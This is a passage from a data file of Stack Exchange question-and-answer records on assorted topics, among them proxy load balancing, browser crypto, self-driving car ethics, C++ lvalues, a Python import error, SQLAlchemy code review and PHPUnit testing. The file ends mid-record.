{  "id": "_unix.168650"  , "question": "I want to use multiple proxy servers at the same time to speed my downloads. Reverse proxy products such as haproxy and nginx can use multiple proxy servers, but only one proxy per session.Client---haproxy---proxy1/proxy2/proxy3-----WebserverBut I want to balance one session. Imagine that I am downloading big file. In normal conditions this download comes to client through only one proxy. But I want to divide this download into 3 parts and utilize 3 proxies."  , "title": "bonding multiple proxy connection"  , "tags": "proxy;nginx;load balancing;haproxy"  } 
{  "id": "_softwareengineering.236459"  , "question": "I've been finding a lot of blog posts claiming JS encryption is unsafe, here's a couple of detailed ones:http://www.matasano.com/articles/javascript-cryptography/http://rdist.root.org/2010/11/29/final-post-on-javascript-crypto/My question is, if browsers truly are inherently unsafe then, by extension, entering any PCI-related info in the browser is unsafe - regardless of JS encryption, HTTPS, or any other security measures? Which would imply that malicious parties should be taking major advantage of this fact, right? Could someone provide specific examples where browser vulnerabilities were leveraged to steal massive amounts of PCI-info/PII (by massive I mean comparable to the amount that could be obtained by hacking into the hosting servers/DB)?Also, despite all those posts describing security flaws there's a proliferation of payment services and JS crypto libraries - does that indicate that most companies/communities:are unaware of browser vulnerabilities?are simply disregarding the underlying issues and jumping on the bandwagon to make some dough?have weighted the (possibly low) likelihood of someone going through the trouble of exploiting browsers and decided it's still worth to capture payments through browsers?EDITUsing SSL/TLS addresses some of the issues, but definitely not all. Here are a few notable issues that fall outside of the area that SSL/TLS can solve (quoted directly from the Matasano blog post):The prevalence of content-controlled code.We mean that pages are built from multiple requests, some of them conveying Javascript directly, and some of them influencing Javascript using DOM tag attributes (such as onmouseover).The malleability of the Javascript runtime.There is no reliable way for any piece of Javascript code to verify its execution environment. Javascript crypto code can't ask, am I really dealing with a random number generator, or with some facsimile of one provided by an attacker? And it certainly can't assert nobody is allowed to do anything with this crypto secret except in ways that I, the author, approve of. These are two properties that often are provided in other environments that use crypto, and they're impossible in Javascript.What else is the Javascript runtime lacking for crypto implementors?Two big ones are secure erase (Javascript is usually garbage collected, so secrets are lurking in memory potentially long after they're needed) and functions with known timing characteristics. Real crypto libraries are carefully studied and vetted to eliminate data-dependant code paths --- ensuring that one similarly-sized bucket of bits takes as long to process as any other --- because without that vetting, attackers can extract crypto keys from timing.Again, my main point is that, technically, once a credit card number (or some other important piece of info) is entered into a text field of a page there's a chance that it's been compromised - and at that, compromised more easily then if it were entered in the native application."  , "title": "Browser security and payments"  , "tags": "javascript;security;browser;encryption"  } 
{  "id": "_ai.111"  , "question": "Obviously driverless cars aren't perfect, so imagine that the Google car (as an example) got into difficult situation.Here are a few examples of unfortunate situations caused by set of events:the car is heading toward a crowd of 10 people crossing the road, so it cannot stop in time, but it can avoid killing 10 people by hitting the wall (killing the passengers),avoiding killing the rider of the motorcycle considering that the probability of survival is greater for the passenger of the car,killing animal on the street in favour of human being,changing lanes to crash into another car to avoid killing a dog,And here are few dilemmas:Does the algorithm recognize the difference between a human being and an animal?Does the size of the human being or animal matter?Does it count how many passengers it has vs. people in the front?Does it know when babies/children are on board?Does it take into the account the age (e.g. killing the older first)?How would an algorithm decide what should it do from the technical perspective? Is it being aware of above (counting the probability of kills), or not (killing people just to avoid its own destruction)?Related articles:Why Self-Driving Cars Must Be Programmed to KillHow to Help Self-Driving Cars Make Ethical Decisions"  , "title": "How could self-driving cars make ethical decisions about who to kill?"  , "tags": "algorithm;self driving;decision theory;ethics"  , "accepted_answer": "The answer to a lot of those questions depends on how the device is programmed. A computer capable of driving around and recognizing where the road goes is likely to have the ability to visually distinguish a human from an animal, whether that be based on outline, image, or size. With sufficiently sharp image recognition, it might be able to count the number and kind of people in another vehicle. It could even use existing data on the likelihood of injury to people in different kinds of vehicles.Ultimately, people disagree on the ethical choices involved. Perhaps there could be ethics settings for the user/owner to configure, like consider life count only vs. younger lives are more valuable. I personally would think it's not terribly controversial that a machine should damage itself before harming a human, but people disagree on how important pet lives are. If explicit kill-this-first settings make people uneasy, the answers could be determined from a questionnaire given to the user."  } 
{  "id": "_softwareengineering.304811"  , "question": "I've never seen a programming language with conditional assignment targets, eg.:// If (x == y), then var1 will be set to 1, else var2 will be set to 1((x == y) ? var1 : var2) = 1The target of the assignment is determined conditionally at run-time, in this case based on whether x == y.It seems like it could be a handy syntax.Anyone know of any programming language which supports this?Or is there a theoretical reason it can't be done effectively?"  , "title": "Has any language ever supported a conditional assignment target?"  , "tags": "programming languages;theory;conditions"  , "accepted_answer": "This isn't really a theory question, but a practical one.C++ supports what you're asking about:[C++14: 5.16/4]: If the second and third operands are glvalues of the same value category and have the same type, the result is of that type and value category [..]For example:#include <iostream>int x = 3, y = 4;void foo(const bool b){    (b ? x : y) = 6;}int main(){    std::cout << x << ' ' << y << '\\n';   // 3 4    foo(true);    std::cout << x << ' ' << y << '\\n';   // 6 4    foo(false);    std::cout << x << ' ' << y << '\\n';   // 6 6}(live demo)(This is basically the same as *ptr = val, since dereferencing produces an lvalue.)It's worth noting that C doesn't support it:#include <stdio.h>#include <stdbool.h>int x = 3, y = 4;void foo(const bool b){    (b ? x : y) = 6;}int main(){    printf(%d %d\\n, x, y);   // 3 4    foo(true);    printf(%d %d\\n, x, y);   // 6 4    foo(false);    printf(%d %d\\n, x, y);   // 6 6}// main.c: In function 'foo':// main.c:8:17: error: lvalue required as left operand of assignment//      (b ? x : y) = 6;             ^(live demo)… though it will allow you to simulate this technique, by applying my early observation regarding pointer dereferences:*(b ? &x : &y) = 6;"  } 
{  "id": "_unix.147687"  , "question": "I'm trying to use secretsdump.py, which relies on winregistry.py.The error I'm getting is:Traceback (most recent call last):  File secretsdump.py, line 41, in <module>    from impacket import version, smbconnection, winregistry, ntlmImportError: cannot import name winregistryI've used sys.path to see where python loads files from and copied winregistry.py to some of these directories, which made no difference. I'm using Kali Linux, a Debian based distribution.I've tried upgrading python, which had no effect.What else could I try to solve this problem?"  , "title": "Python failing to import winregistry"  , "tags": "debian;python"  , "accepted_answer": "from impacket import version, smbconnection, winregistry, ntlm in this case means from the package impacket, import the modules version, smbconnection, winregistry and ntlm.This means you need impacket, the package, not winregistry, a submodule of impacket, on the path. Try putting the whole package on the path somewhere, or just putting the impacket package right next to the secretsdumpy.py script.impacket can be found here.The python2 tutorial section on package imports here."  } 
{  "id": "_unix.74061"  , "question": "Most of my music is ripped flac's with cue's. I listen to albums with cue mainly because of last.fm scrobbling, but I want the same experience of gapless playback as listening to whole flac using VLC (I very like it's simplicity). Is there any solution for this?"  , "title": "VLC - gapless cue support"  , "tags": "audio;vlc"  } 
{  "id": "_unix.356459"  , "question": "What are the possible ways to stream system audio to other devices?mainly I'm looking for a way to stream audio from a kodi (running on raspbian or libreelec...etc) to a smartphone (ios) to use the smartphone as a wireless headphone.I've found some ways around the internet none of which worked for me.mainly the reference for my idea is here.some other ways i've read about are pulseaudio network, jack, icecast and shoutcast.so how to accomplish this the right wayUPDATE: One way that worked is using pulseaudio-dlna and using a upnp media renderer such as bubbleupnp but it's not stable enough(audio lose sync)"  , "title": "Stream system audio to other devices over the network"  , "tags": "audio;raspbian;alsa;pulseaudio;streaming"  } 
{  "id": "_softwareengineering.82619"  , "question": "I have some experience regarding IPhone and Android development but I am now struggling to solve a new class of problem: apps that involve a client/server chatroom feature.That is, an app when people can exchange text over the internet, and without having the app to constantly pull content from the server.So that problem cant be solved with a normal php/mysql website, there must be some kind of application running on a server that is able to send message from the server to the phone, rather than having the phone to check for new messages every 10 seconds. So Im looking for ways to solve the different problems here:What framework should I use on the two sides (phone / server)? It should be some kind of library that doesnt prevent me to write paid apps. It should also be possible to have the same server for the Iphone and android version of the app.What server / hosting solution do I need with what sort of features, I just have no experience regarding server application that can handle and initiate multiple connections and are hosted on hardware that is always onlineI tried to find resources online but couldnt so far, either the libraries had the wrong kind of license/language or I just didnt understand. Sometimes there were nice tutorial but for different needs such as peer2peer chat over local network. Same with the server and the hosting problem, not sure where to start really, Im calling for help and I promise I will complete this page with notes about the experience I will get.Obviously the ideal would be to find a tutorial I missed that include client code, server code and a free scalable server. That being said, If I see something as good, it probably means that I have eaten the wrong kind of mushroom again. So, failing that, any pointer which might help me toward that quest, would be greatly appreciated."  , "title": "Iphone/Android app  chatroom development  what framework & hosting needs?"  , "tags": "iphone;android;hosting;im"  , "accepted_answer": "If you want to do Cross-Platform you might want to go for Urban Airship. This is a commercial service, but they do have a free plan (up to 1 million message a month, $0.0010 per extra message). They also have an 'advanced package' for unlimited sending. Don't know the price (http://urbanairship.com/pricing)If you're only targeting Android I would go for Google's Cloud to Device Messaging Framework (C2DM). Yes, it's only supported for devices that run API level 2.2 and up, but it's the same technology -- and persistent connection with the phones -- that Google uses for it's own apps which use push notifications.An Android alternatives might be The Deacon Project. It is Open Source, still in beta (last code drop is from 2010. Don't know if it is actively being developed any longer) but it supports older versions of AndroidGood luck with the implementation!"  } 
{  "id": "_cstheory.22130"  , "question": "Kurt Gdel's incompleteness theorems  establish the inherent limitations of all but the most trivial axiomatic systems capable of doing arithmetic. Homotopy Type Theory provides an alternative foundation for mathematics, a univalent foundation based on higher inductive types and the univalence axiom. The HoTT book explains that types are higher groupoids, functions are functors, type families are brations, etc. The recent article Formally Verified Mathematics in CACM by Jeremy Avigad and John Harrison discusses HoTT with respect to formally verified mathematics and automatic theorem proving. Do Gdel's incompleteness theorems apply to HoTT?And if they do,is homotopy type theory impaired by Gdel's incompleteness theorem   (within the context of formally verified mathematics)?"  , "title": "Homotopy type theory and Gdel's incompleteness theorems"  , "tags": "lo.logic;type systems;homotopy type theory"  , "accepted_answer": "HoTT suffers from Gdel incompleteness, of course, since it has a computably enumerable language and rules of inference, and we can formalize arithmetic in it. The authors of the HoTT book were perfectly aware of its incompletness. (In fact, this is quite obvious, especially when half of the authors are logicians of some sort).But does incompleteness impair HoTT? No more than it does any other formal system, and I think the whole issue is a bit misguided. Let me try an analogy. Suppose you have a car which can't take you everywhere on the planet. For instance, it can't climb vertically up a wall. Is the car impaired? Of course, it can't get you to the top of the Empire State building. Is the car useless? Far from it, it can take you too many other interesting places. Not to mention that the Empire State building has elevators."  } 
{  "id": "_unix.277317"  , "question": "I created a Virtual Machine (using VirtualBox) with 20 Gb disk size so I could use Ubuntu 64-bit on a Mac. I needed Ubuntu for running Xilinx ISE 14.7. I downloaded the file but when I tried to install it said I needed 20362 MB Disk Space but I only had 6499 MB.Then I tried to increase the disk size of the virtual machine and I increased it a lot... But when I tried again the same message appeared I needed 20362 Mb and only had 6499 Mb... But I looked for the settings of my virtual machine and I have indeed increased the disk memory... My Optical Drive says also [Empty] (I don't know if that's relevant)...What am I doing wrong?Do I need to create a Virtual Machine again? If so please let me know what is the size I need. thanks "  , "title": "How can I get more space available?"  , "tags": "size"  } 
{  "id": "_datascience.19647"  , "question": "In the original paper, the author says that the annotation are the concatenation fo the forward states and the backward states at each time step. In the tensorflow implementation (memory param), the memory field is said to be populated with the output (not hidden state) of an RNN encoder.What am I missing?"  , "title": "Bahdanau Attention"  , "tags": "tensorflow;rnn"  } 
{  "id": "_unix.273182"  , "question": "I wanted to install the command locate, which is available via sudo apt-get installmlocate. However, I first ran sudo apt-get installlocate which seems to have installed something else.Typing the command locate <package> however seems to call upon mlocate.What is the package locate, and can (should) it be safely removed?"  , "title": "Difference between locate and mlocate"  , "tags": "locate"  , "accepted_answer": "The locate package is the implementation of locate from GNU findutils. The mlocate package is another implementation of the same concept called mlocate. They implement the same basic functionality: quick lookup of file names based on an index that's (typically) rebuilt every night. They differ in some of their functionality beyond basic usage. In particular, GNU locate builds an index of world-readable files only (unless you run it from your account), whereas mlocate builds an index of all files but only lets the calling user see files that it could access. This makes mlocate more useful in most circumstances, but unusable in some unusual installations where it isn't run by the system administrator (because mlocate has to be setuid root), and a security risk.Under Debian and derivatives, if you install both, locate will run the mlocate implementation, and you need to run locate.findutils to run the GNU implementation. This is managed through alternatives. If you have both installed, they'll both spend time rebuilding their respective index, but other than that they won't conflict with each other."  } 
{  "id": "_codereview.149700"  , "question": "Can someone please review my code? I'm saving a hotel rate to a database. I want to save the rate twice, one field will update with every new rate, and one field will contain the rate that was found for that date the first time it was captured. The code looks very clunky and I know it can be improved. def save_results(rates, session, hotel, govt):    for item in rates:        rate = Rate(**item)        try:            # check if already in database            q = session.query(Rate).filter(Rate.hotel==hotel['object'], Rate.arrive==rate.arrive).first()            # update inital_rate if that field is empty            if q:                if 'govt_rate' in item and q.govt_rate_initial is None:                    q.govt_rate_initial = rate.govt_rate                elif 'commercial_rate' in item and q.commercial_rate_initial is None:                    q.commercial_rate_initial = rate.commercial_rate            if q and govt is True:                q.updated = datetime.utcnow()                q.govt_rate = rate.govt_rate            elif q and govt is False:                q.updated = datetime.utcnow()                q.commercial_rate = rate.commercial_rate            else:                if govt is True:                    rate.govt_rate_initial = rate.govt_rate                elif govt is False:                    rate.commercial_rate_initial = rate.commercial_rate                hotel['object'].rates.append(rate)            session.commit()        except:            session.rollback()            raiseFull code is below for reference. I would appreciate comments on any other portion as well!# modelsclass Location(Base):    __tablename__ = 'locations'    id = Column(Integer, primary_key=True)    city = Column(String(50), nullable=False, unique=True)    per_diem_rate = Column(Numeric(6, 2))    hotels = relationship('Hotel', back_populates='location')class Hotel(Base):    __tablename__ = 'hotels'    id = Column(Integer, primary_key=True)    name = Column(String(100), nullable=False, unique=True)    phone_number = Column(String(20))    parking_fee = Column(String(10))    location_id = Column(Integer, ForeignKey('locations.id'), nullable=False)    location = relationship('Location', back_populates='hotels')    rates = relationship('Rate', back_populates='hotel', order_by='Rate.arrive', lazy='joined')class Rate(Base):    __tablename__ = 'rates'    id = Column(Integer, primary_key=True)    govt_rate = Column(Numeric(6, 2))    govt_rate_initial = Column(Numeric(6, 2))    commercial_rate = Column(Numeric(6, 2))    commercial_rate_initial = Column(Numeric(6, 2))    arrive = Column(Date, nullable=False)    govt_link = Column(String(500))    commercial_link = Column(String(500))    updated = Column(DateTime, default=datetime.datetime.utcnow, nullable=False)    hotel_id = Column(Integer, ForeignKey('hotels.id'), nullable=False)    hotel = relationship('Hotel', back_populates='rates')def scrape_marriott(HOTELS_TO_SCRAPE):        # create db session        session = create_db_session()        good = 0        bad = 0        # loop through list of hotels to scrape        for item in HOTELS_TO_SCRAPE:            try:                # get or create a hotel linked to a location                location = get_or_create(session, Location, city=item['city'])                hotel = get_or_create(session, Hotel, name=item['name'], location=location)                # create a hotel dictionary to pass to the other functions                hotel = {'property_code': item['property_code'], 'object': hotel}                # govt rates                # get rates dictionary                rates = get_rates(hotel, govt=True)                # save to database                save_results(rates, session, hotel, govt=True)                time.sleep(randint(20, 30))                # commercial rates                # get rates dictionary                rates = get_rates(hotel, govt=False)                # save to database                save_results(rates, session, hotel, govt=False)                # log result and increase 'good process' counter                print(item['name'] + ' processed successfully')                good += 1                # wait between 30 and 60 seconds before next loop                time.sleep(randint(30, 60))            except (AttributeError, TypeError, ConnectionError) as e:                # log exception                print('Error occured for ' + item['name'] + '. ' + e)                email_message('Error occured for ' + item['name'] + '. ' + e)                bad += 1                continue        print('{} processed, {} failed'.format(good, bad))        email_message('{} processed, {} failed'.format(good, bad))        session.close()def get_rates(hotel, govt):    dates = build_dates()    rates = []    # get rates for this month and next month    for d in dates:        soup = get_soup(d['arrive'], d['depart'], hotel, govt)        rates += parse_rates(soup, govt)        time.sleep(randint(2, 5))    # remove duplicates    filtered = []    for i in range(0, len(rates)):        if rates[i] not in rates[i + 1:]:            filtered.append(rates[i])    rates = filtered    return ratesdef get_soup(arrive, depart, hotel, govt):    if govt is True:        rateCode = 'GOV'    else:        rateCode = 'none'    browser = RoboBrowser(parser='html.parser')    browser.open('http://www.urlremoved?propertyCode=' + hotel['property_code'])    time.sleep(1)    form = browser.get_form(action='/reservation/availabilitySearch.mi?isSearch=false')    form['fromDate'].value = arrive    form['toDate'].value = depart    form['flexibleDateSearch'] = 'true'    form['clusterCode'] = rateCode    # submit form    browser.submit_form(form)    return browserdef parse_rates(soup, govt):    # get calendar links    table = soup.find('table')    urls = table.find_all('a', class_='t-no-decor')    rates = []    # loop through urls and parse each query string    for item in urls:        if len(item[class]) == 1:            # strip newlines and tabs            raw_url = item['href'].replace('\\n', '').replace('\\t', '').replace(' ', '')            parsed_url = urlparse(raw_url)            query = parse_qs(parsed_url.query)            # convert date to datetime format            res_date = query['fromDate'][0]            res_date = datetime.strptime(res_date, '%m/%d/%y')            if govt == True:                # append data to rates list                rates.append({                    'arrive': res_date,                    'govt_rate': query['rate'][0],                    'govt_link': 'https://marriott.com' + urlunparse(parsed_url)                })            elif govt == False:                # append data to rates list                rates.append({                    'arrive': res_date,                    'commercial_rate': query['rate'][0],                    'commercial_link': 'https://marriott.com' + urlunparse(parsed_url)                })    return ratesdef save_results(rates, session, hotel, govt):    for item in rates:        rate = Rate(**item)        try:            # check if already in database            q = session.query(Rate).filter(Rate.hotel==hotel['object'], Rate.arrive==rate.arrive).first()            # update inital_rate if that field is empty            if q:                if 'govt_rate' in item and q.govt_rate_initial is None:                    q.govt_rate_initial = rate.govt_rate                elif 'commercial_rate' in item and q.commercial_rate_initial is None:                    q.commercial_rate_initial = rate.commercial_rate            if q and govt is True:                q.updated = datetime.utcnow()                q.govt_rate = rate.govt_rate            elif q and govt is False:                q.updated = datetime.utcnow()                q.commercial_rate = rate.commercial_rate            else:                if govt is True:                    rate.govt_rate_initial = rate.govt_rate                elif govt is False:                    rate.commercial_rate_initial = rate.commercial_rate                hotel['object'].rates.append(rate)            session.commit()        except:            session.rollback()            raise"  , "title": "Saving items to database w/ sqlalchemy"  , "tags": "python;sqlalchemy"  , "accepted_answer": "Without changing the rest of the data structure, your try clause can be shortened:     try:        q = session.query(Rate).filter(Rate.hotel==hotel['object'], Rate.arrive==rate.arrive).first()        if govt is True:            sector = govt        else:            sector = commercial        if q:            if 'govt_rate' in item:                sector = govt            elif 'commercial_rate' in item:                sector = commercial            if q[sector + _rate_initial] is None:                q[sector + _rate_initial] = rate[sector + rate]        else:            rate[sector + _rate_initial] = rate[sector + _rate]            hotel['object'].rates.append(rate)(This assumes you want the govt argument to save_results to be over-ridden by existing data in the field in cases where they don't match.)Ideally, your fields should have a level for sector. So instead of string concatenation as I've done, you would have:q[sector].rate_initial = rate[sector].rate"  } 
{  "id": "_cstheory.259"  , "question": "There is a large literature on property testing -- the problem of making a small number of black box queries to a function f:{0,1}^n -> R to distinguish between two cases: 1) f is a member of some class of functions C2) f is epsilon-far from every function in class C. The range R of the function is sometimes boolean: R = {0,1}, but not always. Here, epsilon-far is generally taken to mean hamming distance: the fraction of points of f that would need to be changed in order to place f in class C. This is a natural metric if f has a boolean range, but seems less natural if the range is say real valued. My question: does there exist a strand of the property-testing literature that tests for closeness to some class C with respect to other metrics? "  , "title": "Property testing in other metrics?"  , "tags": "reference request;lg.learning;metrics;property testing;black box"  , "accepted_answer": "Yes, there is!  I will give three examples:Given a set S and a multiplication table over S x S, consider the problem of determining if the input describes an abelian group or whether it is far from one.  Friedl, Ivanyos, and Santha in STOC '05 showed that there is a property tester with query complexity polylog(|S|) when the distance measure is with respect to the edit distance of multiplication tables which allows addition and deletion of rows and columns from the multiplication table.  The same problem was also considered in the Hamming distance model by Ergun, Kannan, Kumar, Rubinfeld and Viswanathan (JCSS '00) where they showed query complexity of O~(|S|^{3/2}).There is a large amount of work done on testing graph properties where the graphs are represented using adjacency lists and there is a bound on the degree of each vertex.  In this case, the distance model is not exactly Hamming distance but rather how many edges can be added or deleted while preserving the degree bound.In the closely related study of testing properties of distributions, various notions of distance between distributions have been studied.  In this model, the input is a probability distribution over some set and the algorithm gets access to it by sampling from the set according to the unknown distribution.  The algorithm is then required to determine if the distribution satisfies some property or is far from it.  Various notions of distance have been studied here, such as L_1, L_2, earthmover.  Probability distributions over infinite domains have also been studied here (Adamaszek-Czumaj-Sohler, SODA '10)."  } 
{  "id": "_softwareengineering.345385"  , "question": "I am new to unit testing. Started working on unit test using PHPUnit. But it seems to be taking too much time. If consider I take 3 hours to write a Class, its taking my 7 hours to write test case for it.There are a few factors behind it.As I told, I am new to this stuff, so have to do lot of R&D.Sometimes I get confused what to test in it.Mocking some function takes time.There are lots of permutation and combination in a big function, so it gets difficult and pretty time consuming to mock those functions.Any idea how do I write test cases in faster way? Any ideas for actual code so it gets faster to write test cases?What are the best practices I should follow in my code below?<?php namespace Api\\Core;use Api\\Exceptions\\APICoreException;use Api\\Exceptions\\APITransformationException;use Api\\Exceptions\\APIValidationException;use CrmValidation;use Component;use DB;use App\\Traits\\Api\\SaveTrait;use App\\Traits\\Api\\FileTrait;use App\\Repositories\\Contract\\MigrationInterface;use App\\Repositories\\Contract\\ClientFeedbackInterface;use Mockery\\CountValidator\\Exception;use Api\\Libraries\\ApiResponse;use App\\Repositories\\Contract\\FileInterface;use App\\Repositories\\Contract\\MasterInterface;use App\\Traits\\Api\\ApiDataConversionTrait;use ClientFeedback;use MigrationMapping;use Migration;use ComponentDetail;use FavouriteEditorCore;/** * Class ClientFeedbackCore * * @package Api\\Core */class ClientFeedbackCore{    use SaveTrait, FileTrait, ApiDataConversionTrait;    /**     * @var array     */    private $request = [];    /**     * @var     */    private $migrationFlag;    /**     * @var string     */    private $table = 'client_feedback';    /**     * @var MigrationInterface     */    public $migrationRepo;    /**     * @var ClientFeedbackInterface     */    public $clientFeedbackRepo;    /**     * @var MasterInterface     */    public $masterRepo;    /**     * @var FileInterface     */    public $fileRepo;    /**     * ClientFeedbackCore constructor.     *     * @param MigrationInterface      $migrationInterface     * @param ClientFeedbackInterface $clientFeedbackInterface     * @param MasterInterface         $masterInterface     * @param FileInterface           $fileInterface     */    public function __construct(        MigrationInterface $migrationInterface,        ClientFeedbackInterface $clientFeedbackInterface,        MasterInterface $masterInterface,        FileInterface $fileInterface    ) {        $this->clientFeedbackRepo = $clientFeedbackInterface;        $this->migrationRepo = $migrationInterface;        $this->masterRepo = $masterInterface;        $this->fileRepo = $fileInterface;    }    /**     * @author pratik.joshi     */    public function init()    {        $this->migrationFlag = getMigrationStatus($this->table);    }    /**     * @param $request     * @return array     * @author pratik.joshi     * @desc stores passed data into respective entities and then stores into migration tables. If any issue while insert/update exception is thrown.     */    public function store($request)    {        if ($request == null || empty($request))        {            throw new APIValidationException(trans('messages.exception.validation',['reason'=> 'request param is not provided']));        }        $clientFeedbackId = $migrationClientFeedbackId = $favouriteEditorId = null;        $errorMsgWhileSave = null;        $clientFeedback = [];        $filesSaved = [];        $categoryNamesForFiles = [];        $operation = config('constants.op_type.INSERT');        $this->init();        if(            keyExistsAndissetAndNotEmpty('id',$request)            && CrmValidation::getRowCount($this->table, 'id', $request['id'])        ) {            $operation = config('constants.op_type.UPDATE');        }        //Step 1: set up data based on the operation        $this->request = $this->convertData($request,$operation);        //Step 2: Save data into repo, Not using facade as we cant reuse it, every facade will repeat insert update function        if ($operation == config('constants.op_type.INSERT'))        {            $clientFeedback = $this->insertOrUpdateData($this->request, $this->clientFeedbackRepo);        }        else if($operation == config('constants.op_type.UPDATE'))        {            $clientFeedback = $this->insertOrUpdateData($this->request, $this->clientFeedbackRepo,$this->request['id']);        }        if ( !keyExistsAndissetAndNotEmpty('client_feedback_id',$clientFeedback[ 'data' ]) )        {            throw new APICoreException(trans('messages.exception.data_not_saved'));        }        //If no exception thrown, save id        $clientFeedbackId = $clientFeedback[ 'data' ][ 'client_feedback_id' ];        //Step 3: prepare array for mig repo & save()        if($this->migrationFlag && $operation == config('constants.op_type.INSERT'))        {            $this->saveMigrationDataElseThrowException($this->table, $clientFeedback[ 'data' ][ 'client_feedback_id' ], 'client_feedback', $this->request['name']);        }        //If no exception thrown, save id        $paramsForFileSave = [            'entity_id'   => $clientFeedbackId,            'entity_type' => $this->clientFeedbackRepo->getModelName(),        ];        //Step 4: Save datainto file, Save job feedback files with params : files array to save, migration data for files        //The method prepareFileData will be called by passing multiple files, and some needed params for file which internally calls prepareData        //$filePreparedData will be in format : $filePreparedData['field_cf_not_acceptable_four'][0] => whole file array(modified)        $filePreparedData = $this->fileRepo->prepareFileData($this->request[ 'files' ],  $this->masterRepo, $paramsForFileSave);        $filesSaved = $this->fileRepo->filesInsertOrUpdate($filePreparedData);        //If any file is not saved, it returns false, throw exception here        if($filesSaved == false)        {            throw new APICoreException(trans('messages.exception.data_not_saved'));        }        //Step 5: Save data for file in migra repo.        //For each file type and each file in it, loop, Check for insert data        if(getMigrationStatus('file') && array_key_exists('insert',$filesSaved) && count($filesSaved['insert']))        {            foreach ($filesSaved['insert'] as $singleFileSaved)            {                $fileId = $singleFileSaved['data']['file_id'];                $wbTitle = $filesSaved['extra'][$fileId];                $this->saveMigrationDataElseThrowException('file', $singleFileSaved['data']['file_id'], 'files', $wbTitle);            }        }        //We get created by or last modified by        $createdOrLastModifiedBy = keyExistsAndissetAndNotEmpty('created_by',$this->request) ? $this->request['created_by'] : $this->request['last_modified_by'];        //Calling FavouriteEditorCore as we want to save favorite or un-favorite editor        $favouriteEditor = FavouriteEditorCore::core(                            $this->request[ 'component_id' ],                            $this->request[ 'rating' ],                            $this->request[ 'wb_user_id' ], $createdOrLastModifiedBy,                            $this->request[ 'same_editor_worker' ]        );        if ( !issetAndNotEmpty($favouriteEditor[ 'data' ][ 'favourite_editor_id' ]) )        {            throw new APICoreException(trans('messages.exception.data_not_saved'));        }        //If no exception thrown, save id        $favouriteEditorId = $favouriteEditor[ 'data' ][ 'favourite_editor_id' ];        //repare array for mig repo & save()        if(getMigrationStatus('favourite_editor') && $operation == 'insert')        {            $this->saveMigrationDataElseThrowException('favourite_editor', $favouriteEditor[ 'data' ][ 'favourite_editor_id' ], 'favourite_editor', null);        }        // Check if any error while saving        $dataToSave = [            'client_feedback_id' => $clientFeedbackId,            'files'              => keyExistsAndissetAndNotEmpty('extra',$filesSaved) ? array_keys($filesSaved['extra']) : null,            'favourite_editor'   => $favouriteEditorId        ];        //@todo : return standard response        // Return final response to the WB.        return [            'data'          => $dataToSave,            'operation'     => $operation,            'status'        => ApiResponse::HTTP_OK,            'error_message' => isset($errorMsgWhileSave) ? $errorMsgWhileSave : null        ];    }    /**     * @param $request     * @param $operation     * @return array     * @author pratik.joshi     */    public function convertData($request,$operation)    {        if(            ($request == null || empty($request)) ||             ($operation == null || empty($operation))         )        {            throw new APIValidationException(trans('messages.exception.validation',['reason'=> 'either request or operation param is not provided']));        }        //If blank        echo ' >> request';echo json_encode($request);        echo ' >> operation';echo json_encode($operation);        //Normal data conversion        $return = $this->basicDataConversion($request, $this->table, $operation);        echo ' >> return after basicDC';echo json_encode($return);        //Custom data conversion        $return[ 'client_code' ] = $request[ 'client_code' ];        $return[ 'component_id' ] = $request[ 'component_id' ];        if (isset( $request[ 'rating' ] ) )        {                $return[ 'rating' ] = $request[ 'field_cf_rating_value' ] =$request[ 'rating' ];        }        //Add client feedback process status, in insert default it to unread        if($operation == config('constants.op_type.INSERT'))        {            $return[ 'processing_status' ] = config('constants.processing_status.UNREAD');        }        else if($operation == config('constants.op_type.UPDATE'))        {            //@todo : lumen only picks config() in lumen only, explore on how to take it from laravel            //if its set and its valid            $processing_status_config = array_values(config('app_constants.client_feedback_processing_status')); // Get value from app constant            if (isset( $request[ 'processing_status' ] ) &&  in_array($request['processing_status'],$processing_status_config))            {                $return[ 'processing_status' ] = $request[ 'field_cf_status_value' ] = $request[ 'processing_status' ] ;            }        }        //@todo : check for NO        if (isset($request[ 'same_editor_worker' ])) {            if($request[ 'same_editor_worker' ] == 'no')            {                $return[ 'wb_user_id' ] = null;            }            else            {                $return[ 'wb_user_id' ] = ComponentDetail::getLastWorkerId($request[ 'component_id' ]);            }        }        //Get job title and prepend with CF        $return[ 'name' ] = 'CF_'.Component::getComponentTitleById($request[ 'component_id' ]);        //@todo check with EOS team for params        $dataFieldValues = setDataValues(config('app_constants.data_fields.client_feedback'), $request);        // unset which field we are storing in column        $return[ 'data' ] = json_encode($dataFieldValues);        echo ' >>  return '.__LINE__;echo json_encode($return);        echo ' >>  request & return '.__LINE__;echo json_encode(array_merge($request, $return));         return array_merge($request, $return);    }    /**     * @param $crmTable     * @param $crmId     * @param $wbTable     * @param $wbTitle     * @return mixed     * @throws APICoreException     * @author pratik.joshi     */    public function saveMigrationDataElseThrowException($crmTable, $crmId, $wbTable, $wbTitle)    {        $dataToSave = Migration::prepareData([            'crm_table'        => $crmTable,            'crm_id'           => $crmId,            'whiteboard_table' => $wbTable,            'whiteboard_title' => $wbTitle        ]);        //Save into migration repo        $migrationData = $this->insertOrUpdateData($dataToSave, $this->migrationRepo);        if ( !keyExistsAndissetAndNotEmpty('migration_id',$migrationData[ 'data' ]) )        {            throw new APICoreException(trans('messages.exception.data_not_saved'));        }        return $migrationData[ 'data' ]['migration_id'];    }}//And test case<?phpuse Api\\Core\\ClientFeedbackCore;use App\\Repositories\\Contract\\MigrationInterface;use App\\Repositories\\Contract\\ClientFeedbackInterface;use App\\Repositories\\Contract\\FileInterface;use App\\Repositories\\Contract\\MasterInterface;class ClientFeedbackCoreTest extends TestCase{    public $mockClientFeedbackCore;    public $requestForConvertData;    public $returnBasicDataConversion;    public $operation;    public $convertedData;    public $mockMigrationRepo;    public $mockClientFeedbackRepo;    public $mockMasterRepo;    public $mockFileRepo;    public $clientFeedbackCore;    public $table;    public $saveFailedData;    public function setUp()    {        parent::setUp();        $this->requestForConvertData = [            'client_code'        => 'SHBI',            'component_id'       => '4556',            'same_editor_worker' => 'yes',            'created_by'         => '83767',            'rating'             => 'not-acceptable',            'files'              =>                [                    'field_cf_not_acceptable_four' =>                        [                            0 =>                                [                                    'created_by' => '83767',                                    'status'     => '1',                                    'filename'   => 'manuscript_0115.docx',                                    'filepath'   => 'sites/all/files/15-01-17/client_feedback/1484497552_manuscript_011512.docx',                                    'filemime'   => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',                                    'filesize'   